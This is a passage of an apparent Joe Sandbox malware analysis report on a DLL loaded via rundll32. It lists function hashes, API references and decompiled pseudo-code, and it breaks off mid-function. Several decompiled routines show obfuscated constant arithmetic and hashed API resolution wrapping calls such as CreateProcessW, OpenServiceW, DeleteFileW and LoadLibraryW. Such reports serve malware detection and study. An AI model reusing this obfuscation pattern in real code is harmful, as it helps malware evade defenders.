Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: e68cc3a820211264044b405a8207a52e25ca467420ba658dab207e721cf03d04
Instruction ID: 5e90e8e2e39c6eef0efc270c659571a82f74c0642dd1010d537dc82f759cc86c
Opcode Fuzzy Hash: e68cc3a820211264044b405a8207a52e25ca467420ba658dab207e721cf03d04
Instruction Fuzzy Hash: F441B172E05625AFDF50DFE9C800BAE7BF9EB85B94F114919E914AF260C7309D41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E56C98B, Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6E56C9C8
dllmain_crt_dispatch.LIBCMT ref: 6E56C9DF
dllmain_raw.LIBCMT ref: 6E56CA27
dllmain_crt_dispatch.LIBCMT ref: 6E56CA3A
dllmain_raw.LIBCMT ref: 6E56CA4D

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 66dce6b59a1fe2e6cb1f131ff6d4efac4affd5cc906363bd412f0e74792a54d5
Instruction ID: d32a8b1e5b795c8682cbc657f9dfdfcd288d5afa2bf40e6a2a953cd4ba441ddb
Opcode Fuzzy Hash: 66dce6b59a1fe2e6cb1f131ff6d4efac4affd5cc906363bd412f0e74792a54d5
Instruction Fuzzy Hash: DB213072D01515AFDF61CEE5C840ABF3BE9EB85B94F014915F9145E260D7309D41CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C2A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6E55C2A5
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6E55C2B5

Strings

WakeByAddressSingle, xrefs: 6E55C2AF
api-ms-win-core-synch-l1-2-0, xrefs: 6E55C2A0

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: 7c9d349d8108c28e447e4b4405dfa3d7207f93626b7feb2aa043428e0840721a
Instruction ID: 1c5f24da47f4d5ceb3a3fa9b3f80b000fef2b5e6598df7f37ccfb6d84c76b614
Opcode Fuzzy Hash: 7c9d349d8108c28e447e4b4405dfa3d7207f93626b7feb2aa043428e0840721a
Instruction Fuzzy Hash: CDB092B0A2061167DE90AAF5890CAAE3AD8AA812423020C466655E9203FE34C4209A61

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C320, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6E55C325
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6E55C335

Strings

WaitOnAddress, xrefs: 6E55C32F
api-ms-win-core-synch-l1-2-0, xrefs: 6E55C320

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: 26cc3c3daf6202351371d67b5f1d1e594adc88d816d4510528562938b2733851
Instruction ID: d36759325b19e7ae7afbafdadc68c1b8e9d77108a23a110f556fdcead3ff005b
Opcode Fuzzy Hash: 26cc3c3daf6202351371d67b5f1d1e594adc88d816d4510528562938b2733851
Instruction Fuzzy Hash: 84B092B0A2061166DE90AAF9890CAAE3AD8BA5174231208426216D9213EE35C020D921

Uniqueness

Uniqueness Score: -1.00%

Function 6E574161, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E574169

Part of subcall function 6E574073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E5761E2,?,00000000,-00000008), ref: 6E57411F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E5741A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E5741C1

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: e4219cd5f000ffdb98fd6234d92e494f326817e742fe2428eca3f35a7ebe793c
Instruction ID: 851330c4e805349538c8871fd58e2423482896a3c5a1506c989a1d7de0c7398b
Opcode Fuzzy Hash: e4219cd5f000ffdb98fd6234d92e494f326817e742fe2428eca3f35a7ebe793c
Instruction Fuzzy Hash: 0011A1E5915A267F6F2167F69C89CAF69ECDE962993014815F601D2100EF70CD2381B1

Uniqueness

Uniqueness Score: -1.00%

Function 6E551290, Relevance: 3.9, APIs: 3, Instructions: 137memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BE96
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BEB4
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BECD
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BECF
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BED6
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BEF4

GetProcessHeap.KERNEL32 ref: 6E551333
HeapAlloc.KERNEL32(02CB0000,00000000,00023800), ref: 6E55134D
HeapFree.KERNEL32(00000000), ref: 6E551437

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID:
API String ID: 2047189075-0
Opcode ID: 988f7f5b3f6250becb2d4470c396b1c767f2f44efff5c35abb43cbdacb97ee77
Instruction ID: 48169d1c2f653e297ebab66c62d79ba49cc6e4638341fd37db2538e13465eaf9
Opcode Fuzzy Hash: 988f7f5b3f6250becb2d4470c396b1c767f2f44efff5c35abb43cbdacb97ee77
Instruction Fuzzy Hash: A851B070904B408BD720CF69C940AA6BBF4FF59314F118A6DE9D68BBA1EB34F555CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00819100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00819100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E00808002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E0081E399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x0081910a
0x0081910c
0x0081910d
0x0081910e
0x00819111
0x00819114
0x00819117
0x0081911a
0x0081911d
0x00819120
0x00819123
0x00819126
0x00819127
0x0081912a
0x0081912d
0x00819130
0x00819133
0x00819134
0x00819137
0x00819138
0x00819139
0x0081913a
0x0081913f
0x00819149
0x0081914c
0x00819153
0x0081915a
0x00819161
0x00819168
0x0081916f
0x00819176
0x0081918e
0x00819191
0x00819198
0x0081919f
0x008191a6
0x008191ad
0x008191b4
0x008191bb
0x008191c2
0x008191d5
0x008191ef
0x008191f6

APIs

CreateProcessW.KERNEL32(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 008191EF

Strings

31, xrefs: 0081919F

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 7f79dc61c6a29f76165477095df3b0e290b8a4fec3b6c07b4314e57aa1fee690
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: FE31C372801259BBCF559FAACD45CDFBF75FF89714F108158FA14A2120C3728A60EB51

Uniqueness

Uniqueness Score: -1.00%

Function 0080890E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0080890E(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t46;
				intOrPtr* _t57;
				void* _t58;
				signed int _t60;
				signed int _t61;
				void* _t67;
				void* _t68;

				_t68 = __edx;
				_t67 = __ecx;
				E00808002(_t46);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x5a89c2;
				_v12 = 0xac9734;
				_t60 = 0xf;
				_v12 = _v12 / _t60;
				_v12 = _v12 + 0xbff0;
				_v12 = _v12 ^ 0x0000f03b;
				_v20 = 0x5d6235;
				_t61 = 0x58;
				_v20 = _v20 * 0x48;
				_v20 = _v20 ^ 0x1a4c6f32;
				_v8 = 0x1651ff;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0x3de9;
				_v8 = _v8 | 0x9dbfa52d;
				_v8 = _v8 ^ 0x9dbe342b;
				_v16 = 0xc9b349;
				_v16 = _v16 >> 0xa;
				_v16 = _v16 ^ 0x000d61f6;
				_t57 = E0081E399(_t61, _v8 % _t61, _t61, 0xa2449830, 0x195, 0x5faffbf6);
				_t58 =  *_t57(_t67, 0, _t68, 0x28, __ecx, __edx, _a4, _a8, 0x28, 0, _a20, _a24); // executed
				return _t58;
			}

0x00808919
0x0080891b
0x0080892c
0x00808931
0x00808937
0x0080893e
0x0080894a
0x0080894f
0x00808954
0x0080895b
0x00808962
0x0080896d
0x00808971
0x00808974
0x0080897b
0x0080898c
0x0080898f
0x00808996
0x0080899d
0x008089a4
0x008089ab
0x008089af
0x008089cd
0x008089db
0x008089e2

APIs

SetFileInformationByHandle.KERNEL32(00000000,00000000,?,00000028,?,?,?,?,?,?,?,?,?,00000036,00000000,00000036), ref: 008089DB

Strings

5b], xrefs: 00808962

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: FileHandleInformation
String ID: 5b]
API String ID: 3935143524-2683361797
Opcode ID: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction ID: 5d1799414c55b63901f136d6f674e8735d1fd6e94abe62f4fcf7620899f87475
Opcode Fuzzy Hash: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction Fuzzy Hash: DB219AB5D41208BBDB04DF98CD4AAEEBFB5FF40310F108099E914BB280D7B95B158B90

Uniqueness

Uniqueness Score: -1.00%

Function 0080C38F, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0080C38F(void* __ecx, int __edx, void* _a4, intOrPtr _a8, short* _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t50;
				void* _t59;
				signed int _t61;
				int _t65;

				_push(_a12);
				_t65 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E00808002(_t50);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0x617f6e;
				_v32 = 0x2c9f69;
				_v12 = 0x3d345c;
				_v12 = _v12 >> 0x10;
				_v12 = _v12 << 1;
				_v12 = _v12 + 0xffff1c15;
				_v12 = _v12 ^ 0xfffbc300;
				_v8 = 0x1d3e99;
				_t61 = 0x3e;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0xcfea;
				_v8 = _v8 ^ 0x5f2ca55f;
				_v8 = _v8 ^ 0x5f2aa82f;
				_v16 = 0xf71959;
				_v16 = _v16 << 0xa;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xac874e69;
				_v20 = 0x5ac786;
				_v20 = _v20 ^ 0xe6acc0dd;
				_v20 = _v20 ^ 0xe6fddbb7;
				E0081E399(_t61, _v8 % _t61, _t61, 0x1f1ae65e, 0x5e, 0x42b99377);
				_t59 = OpenServiceW(_a4, _a12, _t65); // executed
				return _t59;
			}

0x0080c396
0x0080c399
0x0080c39b
0x0080c39e
0x0080c3a1
0x0080c3a3
0x0080c3a8
0x0080c3ae
0x0080c3b2
0x0080c3b9
0x0080c3c0
0x0080c3c7
0x0080c3cb
0x0080c3ce
0x0080c3d5
0x0080c3dc
0x0080c3e8
0x0080c3ee
0x0080c3f1
0x0080c3f8
0x0080c3ff
0x0080c406
0x0080c40d
0x0080c411
0x0080c415
0x0080c41c
0x0080c423
0x0080c42a
0x0080c44a
0x0080c459
0x0080c45f

APIs

OpenServiceW.ADVAPI32(FFFBC300,E6FDDBB7,?,?,?,?,?,?,?,?,00822FF3,?), ref: 0080C459

Strings

\4=, xrefs: 0080C3C0

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: \4=
API String ID: 3098006287-2040901920
Opcode ID: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction ID: f851fbba604a17844110a0206e926c3662ffce57409154a50d9db3cfccfb0bcb
Opcode Fuzzy Hash: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction Fuzzy Hash: CC2134B5D00209EBDB04CFE5C90A9DEBBB4FB00314F108189E42566250C3B95B55DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00814CFD, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00814CFD(void* __ecx, long __edx, long _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, void* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t46;
				void* _t56;
				signed int _t58;
				long _t62;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E00808002(_t46);
				_v20 = 0x7fa37e;
				_v20 = _v20 | 0x057bdedc;
				_v20 = _v20 + 0xffffffcc;
				_v20 = _v20 ^ 0x057d9e34;
				_v8 = 0x65e94f;
				_t58 = 0x2a;
				_v8 = _v8 * 0x5b;
				_v8 = _v8 + 0xffffa5c0;
				_v8 = _v8 / _t58;
				_v8 = _v8 ^ 0x00d22f9e;
				_v16 = 0xf6ef89;
				_v16 = _v16 + 0x478;
				_v16 = _v16 ^ 0x0b24101f;
				_v16 = _v16 ^ 0x0bdb985c;
				_v12 = 0xb9bed2;
				_v12 = _v12 >> 5;
				_v12 = _v12 << 0xd;
				_v12 = _v12 ^ 0xb9b7d5de;
				E0081E399(_t58, _v8 % _t58, _t58, 0xa2449830, 0x264, 0x8babc312);
				_t56 = RtlAllocateHeap(_a20, _a4, _t62); // executed
				return _t56;
			}

0x00814d04
0x00814d07
0x00814d09
0x00814d0c
0x00814d0f
0x00814d12
0x00814d15
0x00814d17
0x00814d1c
0x00814d25
0x00814d2c
0x00814d30
0x00814d37
0x00814d44
0x00814d48
0x00814d4b
0x00814d5c
0x00814d5f
0x00814d66
0x00814d6d
0x00814d74
0x00814d7b
0x00814d82
0x00814d89
0x00814d8d
0x00814d91
0x00814daf
0x00814dbe
0x00814dc4

APIs

RtlAllocateHeap.NTDLL(?,B9B7D5DE,?,?,?,?,?,?,?,?,?,?,?), ref: 00814DBE

Strings

Oe, xrefs: 00814D37

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: Oe
API String ID: 1279760036-808228324
Opcode ID: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction ID: ce561357e539a4df40186c87241b4c34efeeb72c340d2f9ac7785b63dd04ca06
Opcode Fuzzy Hash: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction Fuzzy Hash: 26211571C01219FBCF14DFA4C94A8DEBFB5FB00354F108588E92466250D7B58B54EF90

Uniqueness

Uniqueness Score: -1.00%

Function 008055C0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E008055C0(void* __ecx, WCHAR* __edx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t44;
				int _t56;
				signed int _t58;
				signed int _t59;
				WCHAR* _t65;

				_push(_a4);
				_t65 = __edx;
				_push(__edx);
				E00808002(_t44);
				_v12 = 0xc09d41;
				_t58 = 0x5c;
				_v12 = _v12 / _t58;
				_v12 = _v12 + 0xffffef63;
				_v12 = _v12 ^ 0xe9e279a7;
				_v12 = _v12 ^ 0xe9e62653;
				_v20 = 0xa2cc51;
				_t59 = 0x34;
				_v20 = _v20 / _t59;
				_v20 = _v20 ^ 0x000b7ed2;
				_v8 = 0xd564b1;
				_v8 = _v8 >> 0xc;
				_v8 = _v8 + 0x176e;
				_v8 = _v8 | 0xf1e3b14c;
				_v8 = _v8 ^ 0xf1e4530b;
				_v16 = 0xd8623f;
				_v16 = _v16 * 0x37;
				_v16 = _v16 << 4;
				_v16 = _v16 ^ 0xe7d235eb;
				E0081E399(_t59, _v20 % _t59, _t59, 0xa2449830, 0x246, 0x6ae2bc6b);
				_t56 = DeleteFileW(_t65); // executed
				return _t56;
			}

0x008055c7
0x008055ca
0x008055cc
0x008055ce
0x008055d3
0x008055e1
0x008055e6
0x008055eb
0x008055f2
0x008055f9
0x00805600
0x0080560a
0x00805610
0x00805613
0x0080561a
0x00805621
0x00805625
0x0080562c
0x00805633
0x0080563a
0x00805655
0x00805658
0x0080565c
0x0080566f
0x00805678
0x0080567e

APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 00805678

Strings

S&, xrefs: 008055F9

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: S&
API String ID: 4033686569-4232605156
Opcode ID: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction ID: eea4e8d2899664d4cbb9e88b842f58fe508c1e5cff2d4e5adbaaf09b71e2c5cb
Opcode Fuzzy Hash: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction Fuzzy Hash: 7F112370D05318ABDB14DFA8C94A8CEBBB4FF90310F108099E469AB290D7B55B55CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00807C11, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44
libraryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00807C11(void* __ecx, WCHAR* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t37;
				struct HINSTANCE__* _t44;
				WCHAR* _t47;

				_push(_a8);
				_t47 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00808002(_t37);
				_v16 = 0xc57804;
				_v16 = _v16 + 0x7e2a;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x062dce69;
				_v20 = 0xc0d373;
				_v20 = _v20 ^ 0xd8d0ddee;
				_v20 = _v20 ^ 0xd81819b4;
				_v12 = 0x9f362e;
				_v12 = _v12 + 0xfffffd91;
				_v12 = _v12 << 0xc;
				_v12 = _v12 >> 0xc;
				_v12 = _v12 ^ 0x000a9d69;
				_v8 = 0xe543a4;
				_v8 = _v8 ^ 0xe0ed073d;
				_v8 = _v8 | 0x93b71955;
				_v8 = _v8 << 7;
				_v8 = _v8 ^ 0xdfad752a;
				E0081E399(__ecx, __edx, __ecx, 0xa2449830, 0x129, 0xf0e92e19);
				_t44 = LoadLibraryW(_t47); // executed
				return _t44;
			}

0x00807c18
0x00807c1b
0x00807c1d
0x00807c20
0x00807c21
0x00807c22
0x00807c27
0x00807c31
0x00807c38
0x00807c3c
0x00807c43
0x00807c4a
0x00807c51
0x00807c58
0x00807c5f
0x00807c66
0x00807c6a
0x00807c6e
0x00807c75
0x00807c7c
0x00807c83
0x00807c8a
0x00807c8e
0x00807cb1
0x00807cba
0x00807cc0

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 00807CBA

Strings

*~, xrefs: 00807C31

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *~
API String ID: 1029625771-2567930604
Opcode ID: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction ID: 3b28b1a544ca5e9027f6586739e069b9412d26ceb8fb2a645b4d759fe2f39567
Opcode Fuzzy Hash: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction Fuzzy Hash: 261122B5D01218BBDF14EFE9C80A4DEBBB4FB00304F108198E826A2251E3B94B58DF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E56C7D4, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6E56C821

Part of subcall function 6E56CEAD: InitializeSListHead.KERNEL32(6E5AE4A0,6E56C82B,6E5AAF60,00000010,6E56C7BC,?,?,?,6E56C9E4,?,00000001,?,?,00000001,?,6E5AAFA8), ref: 6E56CEB2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E56C88B

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 94004589c0f678725ef941bc162f7c471371caf89d6fbb025b511508141ef7d1
Instruction ID: cfa551c33bc09edeb04f24b8d6d836bd925866f4ab04c8fd09a44d33f0bcdbe6
Opcode Fuzzy Hash: 94004589c0f678725ef941bc162f7c471371caf89d6fbb025b511508141ef7d1
Instruction Fuzzy Hash: 8421E732648605AEEF616BF5C8007ED37E59F8636DF210C19D6412F2E2DF764881CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00810207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00810207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E00808002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
